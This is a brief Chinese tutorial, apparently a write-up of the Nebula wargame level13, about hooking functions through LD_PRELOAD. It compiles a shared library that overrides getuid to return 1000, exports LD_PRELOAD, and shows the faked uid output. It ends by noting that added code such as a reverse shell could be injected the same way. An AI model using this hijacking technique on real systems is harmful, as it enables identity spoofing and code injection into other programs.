一種簡單的hook方法--LD_PRELOAD變量
阿新 • • 發佈:2019-02-19
返回結果 其他 深入 分系統 nebula style 就是 evel 動態鏈接
LD_PRELOAD這個變量允許你定義在程序運行時優先加載的動態鏈接庫,從而在程序運行時的動態鏈接
下面程序的看一個例子-getuid.c
//getuid.c #include<stdio.h> #include<unistd.h> #include<sys/types.h> int main(void) { printf("my uid is %d\n",getuid()); }
//gcc -o getuid getuid.c
這段程序很簡單,就是獲取當前的uid
level13@nebula:/tmp$ ./getuid my uid is 1014 level13@nebula:/tmp$ id uid=1014(level13) gid=1014(level13) groups=1014(level13)
運行後確實拿到了當前用戶的uid,下面就通過LD_PRELOAD變量來劫持系統原來的getuid函數,從而改變返回結果
一、編寫惡意getuid()函數
//muid.c #include<sys/types.h> uid_t getuid(void) { return 1000; }
//gcc -shared -lc -fPIC -o muid.so muid.c
我們讓惡意getuid函數返回1000這個值
二、修改LD_PRELOAD變量
level13@nebula:/tmp$ LD_PRELOAD="/tmp/muid.so" level13@nebula:/tmp$ export LD_PRELOAD
把LD_PRELOAD變量指向我們編譯好的惡意getuid函數庫
三、運行getuid程序
level13@nebula:/tmp$ ./getuid my uid is 1000
可以看到這裏getuid函數已經被劫持了,返回了我們想要的uid值,順利hook該函數
我們也可以加入更多惡意代碼,比如返彈shell等,經過測試,這種方式可以劫持大部分系統函數,其他理由有待深入挖掘
一種簡單的hook方法--LD_PRELOAD變量